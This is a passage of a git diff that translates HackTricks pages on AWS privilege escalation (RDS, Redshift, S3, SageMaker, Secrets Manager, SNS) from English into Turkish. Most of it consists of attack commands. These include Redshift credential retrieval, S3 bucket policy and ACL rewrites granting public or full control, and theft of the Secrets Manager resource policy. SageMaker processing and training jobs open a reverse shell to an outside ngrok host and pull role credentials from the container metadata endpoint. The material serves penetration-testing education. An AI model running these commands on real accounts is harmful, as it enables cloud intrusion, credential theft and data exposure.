**hassas verilere erişebilir** veya örnekteki verileri değiştirebilir. > [!WARNING] -> Some requirements of the role/instance-profile to attach (from [**here**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): - -> - The profile must exist in your account. -> - The profile must have an IAM role that Amazon EC2 has permissions to assume. -> - The instance profile name and the associated IAM role name must start with the prefix `AWSRDSCustom` . +> Eklemek için rol/örnek profili ile ilgili bazı gereksinimler ( [**buradan**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html) ): +> - Profil hesabınızda mevcut olmalıdır. +> - Profilin, Amazon EC2'nin üstlenme iznine sahip olduğu bir IAM rolü olmalıdır. +> - Örnek profil adı ve ilişkili IAM rol adı `AWSRDSCustom` ön eki ile başlamalıdır. ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler. ### `rds:AddRoleToDBInstance`, `iam:PassRole` -An attacker with the permissions `rds:AddRoleToDBInstance` and `iam:PassRole` can **add a specified role to an existing RDS instance**. This could allow the attacker to **access sensitive data** or modify the data within the instance. +`rds:AddRoleToDBInstance` ve `iam:PassRole` izinlerine sahip bir saldırgan, **mevcut bir RDS örneğine belirli bir rol ekleyebilir**. Bu, saldırgana **hassas verilere erişim** sağlama veya örnek içindeki verileri değiştirme imkanı verebilir. > [!WARNING] -> The DB instance must be outside of a cluster for this - +> DB örneği, bunun için bir kümenin dışında olmalıdır. ```bash aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name ``` - -**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance. +**Potansiyel Etki**: RDS örneğindeki hassas verilere erişim veya verilere yetkisiz değişiklikler. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index 825c16ad6..78708cf2c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -4,7 +4,7 @@ ## Redshift -For more information about RDS check: +RDS hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-redshift-enum.md @@ -12,52 +12,45 @@ For more information about RDS check: ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -With these permissions you can get **info of all the clusters** (including name and cluster username) and **get credentials** to access it: - +Bu izinlerle **tüm kümelerin bilgilerini** (isim ve küme kullanıcı adı dahil) alabilir ve **erişim için kimlik bilgilerini** edinebilirsiniz: ```bash # Get creds aws redshift get-cluster-credentials --db-user postgres --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAM:" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Potansiyel Etki:** Veritabanlarında hassas bilgileri bulma. ### `redshift:DescribeClusters`, `redshift:GetClusterCredentialsWithIAM` -With these permissions you can get **info of all the clusters** and **get credentials** to access it.\ -Note that the postgres user will have the **permissions that the IAM identity** used to get the credentials has. - +Bu izinlerle **tüm kümelerin bilgilerini** alabilir ve **erişim için kimlik bilgilerini** edinebilirsiniz.\ +Postgres kullanıcısının, kimlik bilgilerini almak için kullanılan **IAM kimliğinin izinlerine** sahip olacağını unutmayın. ```bash # Get creds aws redshift get-cluster-credentials-with-iam --cluster-identifier redshift-cluster-1 # Connect, even if the password is a base64 string, that is the password psql -h redshift-cluster-1.asdjuezc439a.us-east-1.redshift.amazonaws.com -U "IAMR:AWSReservedSSO_AdministratorAccess_4601154638985c45" -d template1 -p 5439 ``` - -**Potential Impact:** Find sensitive info inside the databases. +**Olası Etki:** Veritabanlarının içinde hassas bilgileri bulmak. ### `redshift:DescribeClusters`, `redshift:ModifyCluster?` -It's possible to **modify the master password** of the internal postgres (redshit) user from aws cli (I think those are the permissions you need but I haven't tested them yet): - +Aws cli üzerinden iç postgres (redshit) kullanıcısının **ana şifresini değiştirmek** mümkündür (bence ihtiyaç duyduğunuz izinler bunlar ama henüz test etmedim): ``` aws redshift modify-cluster –cluster-identifier –master-user-password ‘master-password’; ``` +**Potansiyel Etki:** Veritabanlarında hassas bilgileri bulmak. -**Potential Impact:** Find sensitive info inside the databases. - -## Accessing External Services +## Harici Servislere Erişim > [!WARNING] -> To access all the following resources, you will need to **specify the role to use**. A Redshift cluster **can have assigned a list of AWS roles** that you can use **if you know the ARN** or you can just set "**default**" to use the default one assigned. +> Aşağıdaki tüm kaynaklara erişmek için **kullanılacak rolü belirtmeniz** gerekecek. Bir Redshift kümesi **kullanabileceğiniz bir AWS rolü listesine sahip olabilir** **eğer ARN'yi biliyorsanız** ya da sadece "**default**" ayarlayarak atanan varsayılanı kullanabilirsiniz. -> Moreover, as [**explained here**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift also allows to concat roles (as long as the first one can assume the second one) to get further access but just **separating** them with a **comma**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` +> Ayrıca, [**burada açıklandığı gibi**](https://docs.aws.amazon.com/redshift/latest/mgmt/authorizing-redshift-service.html), Redshift, daha fazla erişim elde etmek için rolleri birleştirmeye de izin verir (ilk rol ikinci rolü üstlenebiliyorsa) ancak sadece **virgülle** **ayırarak**: `iam_role 'arn:aws:iam::123456789012:role/RoleA,arn:aws:iam::210987654321:role/RoleB';` ### Lambdas -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html), it's possible to **call a lambda function from redshift** with something like: - +[https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html](https://docs.aws.amazon.com/redshift/latest/dg/r_CREATE_EXTERNAL_FUNCTION.html) adresinde açıklandığı gibi, Redshift'ten **bir lambda fonksiyonunu çağırmak** mümkündür: ```sql CREATE EXTERNAL FUNCTION exfunc_sum2(INT,INT) RETURNS INT @@ -65,11 +58,9 @@ STABLE LAMBDA 'lambda_function' IAM_ROLE default; ``` - ### S3 -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html), it's possible to **read and write into S3 buckets**: - +[https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html](https://docs.aws.amazon.com/redshift/latest/dg/tutorial-loading-run-copy.html) adresinde açıklandığı gibi, **S3 bucket'larına okuma ve yazma yapmak mümkündür**: ```sql # Read copy table from 's3:///load/key_prefix' @@ -82,30 +73,23 @@ unload ('select * from venue') to 's3://mybucket/tickit/unload/venue_' iam_role default; ``` - ### Dynamo -As explained in [https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html), it's possible to **get data from dynamodb**: - +[https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html](https://docs.aws.amazon.com/redshift/latest/dg/t_Loading-data-from-dynamodb.html) adresinde açıklandığı gibi, **dynamodb'den veri almak** mümkündür: ```sql copy favoritemovies from 'dynamodb://ProductCatalog' iam_role 'arn:aws:iam::0123456789012:role/MyRedshiftRole'; ``` - > [!WARNING] -> The Amazon DynamoDB table that provides the data must be created in the same AWS Region as your cluster unless you use the [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) option to specify the AWS Region in which the Amazon DynamoDB table is located. +> Verileri sağlayan Amazon DynamoDB tablosu, kümenizle aynı AWS Bölgesinde oluşturulmalıdır, aksi takdirde Amazon DynamoDB tablosunun bulunduğu AWS Bölgesini belirtmek için [REGION](https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-source-s3.html#copy-region) seçeneğini kullanmalısınız. ### EMR -Check [https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) +[https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html](https://docs.aws.amazon.com/redshift/latest/dg/loading-data-from-emr.html) adresini kontrol edin. ## References - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md index 0af161cbc..66b734b90 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md @@ -6,117 +6,112 @@ ### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject` -An attacker with those permissions over interesting buckets might be able to hijack resources and escalate privileges. - -For example, an attacker with those **permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" will be able to hijack the deployment. The access can be given with the following policy: +İlginç bucket'lar üzerinde bu izinlere sahip bir saldırgan, kaynakları ele geçirip ayrıcalıkları artırabilir. +Örneğin, "cf-templates-nohnwfax6a6i-us-east-1" adlı bir cloudformation bucket'ı üzerinde bu **izinlere sahip** bir saldırgan, dağıtımı ele geçirebilir. Erişim aşağıdaki politika ile verilebilir: ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": [ - "s3:PutBucketNotification", - "s3:GetBucketNotification", - "s3:PutObject", - "s3:GetObject" - ], - "Resource": [ - "arn:aws:s3:::cf-templates-*/*", - "arn:aws:s3:::cf-templates-*" - ] - }, - { - "Effect": "Allow", - "Action": "s3:ListAllMyBuckets", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": [ +"s3:PutBucketNotification", +"s3:GetBucketNotification", +"s3:PutObject", +"s3:GetObject" +], +"Resource": [ +"arn:aws:s3:::cf-templates-*/*", +"arn:aws:s3:::cf-templates-*" +] +}, +{ +"Effect": "Allow", +"Action": "s3:ListAllMyBuckets", +"Resource": "*" +} +] } ``` - -And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**. +Ve ele geçirme, **şablonun yüklendiği andan** **şablonun dağıtıldığı ana** kadar olan **küçük bir zaman penceresi** olduğu için mümkündür. Bir saldırgan, hesabında **bir lambda fonksiyonu** oluşturabilir ve bu fonksiyon **bir bucket bildirimi gönderildiğinde tetiklenecek** ve **o bucket'ın içeriğini ele geçirecektir**. ![](<../../../images/image (174).png>) -The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\ -For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) +Pacu modülü [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) bu saldırıyı otomatikleştirmek için kullanılabilir.\ +Daha fazla bilgi için orijinal araştırmaya bakın: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/) ### `s3:PutObject`, `s3:GetObject` -These are the permissions to **get and upload objects to S3**. Several services inside AWS (and outside of it) use S3 storage to store **config files**.\ -An attacker with **read access** to them might find **sensitive information** on them.\ -An attacker with **write access** to them could **modify the data to abuse some service and try to escalate privileges**.\ -These are some examples: +Bunlar **S3'e nesne yüklemek ve almak için** gereken izinlerdir. AWS içindeki (ve dışındaki) çeşitli hizmetler, **konfigürasyon dosyalarını** depolamak için S3 depolamasını kullanır.\ +Onlara **okuma erişimi** olan bir saldırgan, üzerinde **hassas bilgiler** bulabilir.\ +Onlara **yazma erişimi** olan bir saldırgan, **verileri değiştirerek bazı hizmetleri kötüye kullanabilir ve ayrıcalıkları artırmaya çalışabilir**.\ +Bunlar bazı örneklerdir: -- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**. +- Eğer bir EC2 örneği **kullanıcı verilerini bir S3 bucket'ında** depoluyorsa, bir saldırgan bunu **EC2 örneği içinde rastgele kod çalıştırmak için değiştirebilir**. ### `s3:PutBucketPolicy` -An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets. - +Aynı hesapta olması gereken bir saldırgan, aksi takdirde `Belirtilen yöntem izin verilmedi` hatası tetiklenecektir, bu izinle bucket'lar üzerinde daha fazla izin verebilir, böylece bucket'ları okuma, yazma, değiştirme, silme ve ifşa etme yetkisine sahip olacaktır. ```bash # Update Bucket policy aws s3api put-bucket-policy --policy file:///root/policy.json --bucket ## JSON giving permissions to a user and mantaining some previous root access { - "Id": "Policy1568185116930", - "Version":"2012-10-17", - "Statement":[ - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:root" - }, - "Action":"s3:ListBucket", - "Resource":"arn:aws:s3:::somebucketname" - }, - { - "Effect":"Allow", - "Principal":{ - "AWS":"arn:aws:iam::123123123123:user/username" - }, - "Action":"s3:*", - "Resource":"arn:aws:s3:::somebucketname/*" - } - ] +"Id": "Policy1568185116930", +"Version":"2012-10-17", +"Statement":[ +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:root" +}, +"Action":"s3:ListBucket", +"Resource":"arn:aws:s3:::somebucketname" +}, +{ +"Effect":"Allow", +"Principal":{ +"AWS":"arn:aws:iam::123123123123:user/username" +}, +"Action":"s3:*", +"Resource":"arn:aws:s3:::somebucketname/*" +} +] } ## JSON Public policy example ### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS { - "Id": "Policy1568185116930", - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "Stmt1568184932403", - "Action": [ - "s3:ListBucket" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome", - "Principal": "*" - }, - { - "Sid": "Stmt1568185007451", - "Action": [ - "s3:GetObject" - ], - "Effect": "Allow", - "Resource": "arn:aws:s3:::welcome/*", - "Principal": "*" - } - ] +"Id": "Policy1568185116930", +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "Stmt1568184932403", +"Action": [ +"s3:ListBucket" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome", +"Principal": "*" +}, +{ +"Sid": "Stmt1568185007451", +"Action": [ +"s3:GetObject" +], +"Effect": "Allow", +"Resource": "arn:aws:s3:::welcome/*", +"Principal": "*" +} +] } ``` - ### `s3:GetBucketAcl`, `s3:PutBucketAcl` -An attacker could abuse these permissions to **grant him more access** over specific buckets.\ -Note that the attacker doesn't need to be from the same account. Moreover the write access - +Bir saldırgan, bu izinleri **belirli kovalar üzerinde daha fazla erişim sağlamak için** kötüye kullanabilir.\ +Saldırganın aynı hesapta olması gerekmediğini unutmayın. Ayrıca yazma erişimi ```bash # Update bucket ACL aws s3api get-bucket-acl --bucket @@ -125,27 +120,25 @@ aws s3api put-bucket-acl --bucket --access-control-policy file://a ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectAcl` -An attacker could abuse these permissions to grant him more access over specific objects inside buckets. - +Bir saldırgan, bu izinleri kullanarak kendisine belirli nesneler üzerinde daha fazla erişim sağlayabilir. ```bash # Update bucket object ACL aws s3api get-object-acl --bucket --key flag @@ -154,34 +147,27 @@ aws s3api put-object-acl --bucket --key flag --access-control-poli ##JSON ACL example ## Make sure to modify the Owner’s displayName and ID according to the Object ACL you retrieved. { - "Owner": { - "DisplayName": "", - "ID": "" - }, - "Grants": [ - { - "Grantee": { - "Type": "Group", - "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" - }, - "Permission": "FULL_CONTROL" - } - ] +"Owner": { +"DisplayName": "", +"ID": "" +}, +"Grants": [ +{ +"Grantee": { +"Type": "Group", +"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers" +}, +"Permission": "FULL_CONTROL" +} +] } ## An ACL should give you the permission WRITE_ACP to be able to put a new ACL ``` - ### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl` -An attacker with these privileges is expected to be able to put an Acl to an specific object version - +Bu yetkilere sahip bir saldırganın belirli bir nesne sürümüne Acl koyabilmesi beklenmektedir. ```bash aws s3api get-object-acl --bucket --key flag aws s3api put-object-acl --bucket --key flag --version-id --access-control-policy file://objacl.json ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md index 890686262..e2a4dbb04 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md @@ -4,70 +4,62 @@ {{#include ../../../banners/hacktricks-training.md}} -### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` - -Start creating a noteboook with the IAM Role to access attached to it: +### `iam:PassRole`, `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl` +Bağlı olduğu IAM Rolü ile bir not defteri oluşturmaya başlayın: ```bash aws sagemaker create-notebook-instance --notebook-instance-name example \ - --instance-type ml.t2.medium \ - --role-arn arn:aws:iam:::role/service-role/ +--instance-type ml.t2.medium \ +--role-arn arn:aws:iam:::role/service-role/ ``` - -The response should contain a `NotebookInstanceArn` field, which will contain the ARN of the newly created notebook instance. We can then use the `create-presigned-notebook-instance-url` API to generate a URL that we can use to access the notebook instance once it's ready: - +Yanıt, yeni oluşturulan defter örneğinin ARN'sini içerecek `NotebookInstanceArn` alanını içermelidir. Ardından, defter örneğine erişmek için hazır olduğunda kullanabileceğimiz bir URL oluşturmak için `create-presigned-notebook-instance-url` API'sini kullanabiliriz: ```bash aws sagemaker create-presigned-notebook-instance-url \ - --notebook-instance-name +--notebook-instance-name ``` +Tarayıcı ile URL'ye gidin ve sağ üstteki \`Open JupyterLab\`'a tıklayın, ardından “Launcher” sekmesine kaydırın ve “Other” bölümünde “Terminal” butonuna tıklayın. -Navigate to the URL with the browser and click on \`Open JupyterLab\`\` in the top right, then scroll down to “Launcher” tab and under the “Other” section, click the “Terminal” button. +Artık IAM Rolünün metadata kimlik bilgilerine erişmek mümkündür. -Now It's possible to access the metadata credentials of the IAM Role. - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc. ### `sagemaker:CreatePresignedNotebookInstanceUrl` -If there are Jupyter **notebooks are already running** on it and you can list them with `sagemaker:ListNotebookInstances` (or discover them in any other way). You can **generate a URL for them, access them, and steal the credentials as indicated in the previous technique**. - +Eğer üzerinde Jupyter **notebook'ları zaten çalışıyorsa** ve bunları `sagemaker:ListNotebookInstances` ile listeleyebiliyorsanız (veya başka bir şekilde keşfedebiliyorsanız). Onlar için **bir URL oluşturabilir, erişebilir ve önceki teknikte belirtildiği gibi kimlik bilgilerini çalabilirsiniz**. ```bash aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name ``` - -**Potential Impact:** Privesc to the sagemaker service role attached. +**Potansiyel Etki:** Sagemaker hizmet rolüne privesc. ### `sagemaker:CreateProcessingJob,iam:PassRole` -An attacker with those permissions can make **sagemaker execute a processingjob** with a sagemaker role attached to it. The attacked can indicate the definition of the container that will be run in an **AWS managed ECS account instance**, and **steal the credentials of the IAM role attached**. - +Bu izinlere sahip bir saldırgan, **sagemaker'ın bir processingjob** çalıştırmasını sağlayabilir ve buna bir sagemaker rolü ekleyebilir. Saldırgan, **AWS yönetimli ECS hesap örneğinde** çalıştırılacak konteynerin tanımını belirtebilir ve **ekli IAM rolünün kimlik bilgilerini çalabilir**. ```bash # I uploaded a python docker image to the ECR aws sagemaker create-processing-job \ - --processing-job-name privescjob \ - --processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ - --app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ - --role-arn +--processing-job-name privescjob \ +--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \ +--app-specification "{\"ImageUri\":\".dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \ +--role-arn # In my tests it took 10min to receive the shell curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc. ### `sagemaker:CreateTrainingJob`, `iam:PassRole` -An attacker with those permissions will be able to create a training job, **running an arbitrary container** on it with a **role attached** to it. Therefore, the attcke will be able to steal the credentials of the role. +Bu izinlere sahip bir saldırgan, **üzerinde bir rol ekli olan rastgele bir konteyner** çalıştırarak bir eğitim işi oluşturabilecektir. Bu nedenle, saldırgan rolün kimlik bilgilerini çalabilecektir. > [!WARNING] -> This scenario is more difficult to exploit than the previous one because you need to generate a Docker image that will send the rev shell or creds directly to the attacker (you cannot indicate a starting command in the configuration of the training job). +> Bu senaryo, önceki senaryodan daha zor bir şekilde istismar edilebilir çünkü rev shell veya kimlik bilgilerini doğrudan saldırgana gönderecek bir Docker imajı oluşturmanız gerekiyor (eğitim işinin yapılandırmasında bir başlangıç komutu belirtemezsiniz). > > ```bash -> # Create docker image +> # Docker imajı oluştur > mkdir /tmp/rev -> ## Note that the trainning job is going to call an executable called "train" -> ## That's why I'm putting the rev shell in /bin/train -> ## Set the values of and +> ## Eğitim işi "train" adlı bir çalıştırılabilir dosyayı çağıracak +> ## Bu yüzden rev shell'i /bin/train içine koyuyorum +> ## ve değerlerini ayarlayın > cat > /tmp/rev/Dockerfile < FROM ubuntu > RUN apt update && apt install -y ncat curl @@ -79,40 +71,34 @@ An attacker with those permissions will be able to create a training job, **runn > cd /tmp/rev > sudo docker build . -t reverseshell > -> # Upload it to ECR +> # ECR'ye yükle > sudo docker login -u AWS -p $(aws ecr get-login-password --region ) .dkr.ecr..amazonaws.com/ > sudo docker tag reverseshell:latest .dkr.ecr..amazonaws.com/reverseshell:latest > sudo docker push .dkr.ecr..amazonaws.com/reverseshell:latest > ``` - ```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ - --training-job-name privescjob \ - --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ - --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ - --role-arn \ - --output-data-config '{"S3OutputPath": "s3://"}' \ - --stopping-condition '{"MaxRuntimeInSeconds": 600}' +--training-job-name privescjob \ +--resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ +--algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ +--role-arn \ +--output-data-config '{"S3OutputPath": "s3://"}' \ +--stopping-condition '{"MaxRuntimeInSeconds": 600}' #To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ## Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer ``` - -**Potential Impact:** Privesc to the sagemaker service role specified. +**Potansiyel Etki:** Belirtilen sagemaker hizmet rolüne privesc. ### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole` -An attacker with those permissions will (potentially) be able to create an **hyperparameter training job**, **running an arbitrary container** on it with a **role attached** to it.\ -&#xNAN;_I haven't exploited because of the lack of time, but looks similar to the previous exploits, feel free to send a PR with the exploitation details._ +Bu izinlere sahip bir saldırgan, **bir hiperparametre eğitim işi** oluşturma yeteneğine (potansiyel olarak) sahip olacak, üzerinde **rol eklenmiş** bir **rastgele konteyner** çalıştırabilecektir.\ +&#xNAN;_I zaman eksikliği nedeniyle istismar etmedim, ancak önceki istismarlarla benzer görünüyor, istismar detaylarıyla bir PR göndermekten çekinmeyin._ -## References +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md index bdc01433b..71ede55b9 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md @@ -4,7 +4,7 @@ ## Secrets Manager -For more info about secrets manager check: +Secrets manager hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-secrets-manager-enum.md @@ -12,44 +12,34 @@ For more info about secrets manager check: ### `secretsmanager:GetSecretValue` -An attacker with this permission can get the **saved value inside a secret** in AWS **Secretsmanager**. - +Bu izne sahip bir saldırgan, AWS **Secretsmanager** içindeki bir **sırın kaydedilmiş değerini** alabilir. ```bash aws secretsmanager get-secret-value --secret-id # Get value ``` - -**Potential Impact:** Access high sensitive data inside AWS secrets manager service. +**Potansiyel Etki:** AWS secrets manager hizmetinde yüksek hassasiyete sahip verilere erişim. ### `secretsmanager:GetResourcePolicy`, `secretsmanager:PutResourcePolicy`, (`secretsmanager:ListSecrets`) -With the previous permissions it's possible to **give access to other principals/accounts (even external)** to access the **secret**. Note that in order to **read secrets encrypted** with a KMS key, the user also needs to have **access over the KMS key** (more info in the [KMS Enum page](../aws-services/aws-kms-enum.md)). - +Önceki izinlerle, **başka ilkeler/hesaplar (hatta harici)** için **gizli** verilere erişim sağlamak mümkündür. KMS anahtarı ile şifrelenmiş **gizli verileri okumak** için kullanıcının ayrıca **KMS anahtarına erişimi** olması gerektiğini unutmayın (daha fazla bilgi için [KMS Enum sayfasına](../aws-services/aws-kms-enum.md) bakın). ```bash aws secretsmanager list-secrets aws secretsmanager get-resource-policy --secret-id aws secretsmanager put-resource-policy --secret-id --resource-policy file:///tmp/policy.json ``` - policy.json: - ```json { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam:::root" - }, - "Action": "secretsmanager:GetSecretValue", - "Resource": "*" - } - ] +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam:::root" +}, +"Action": "secretsmanager:GetSecretValue", +"Resource": "*" +} +] } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md index 699bb58cf..5caa33230 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md @@ -4,7 +4,7 @@ ## SNS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-sns-enum.md @@ -12,36 +12,26 @@ For more information check: ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya 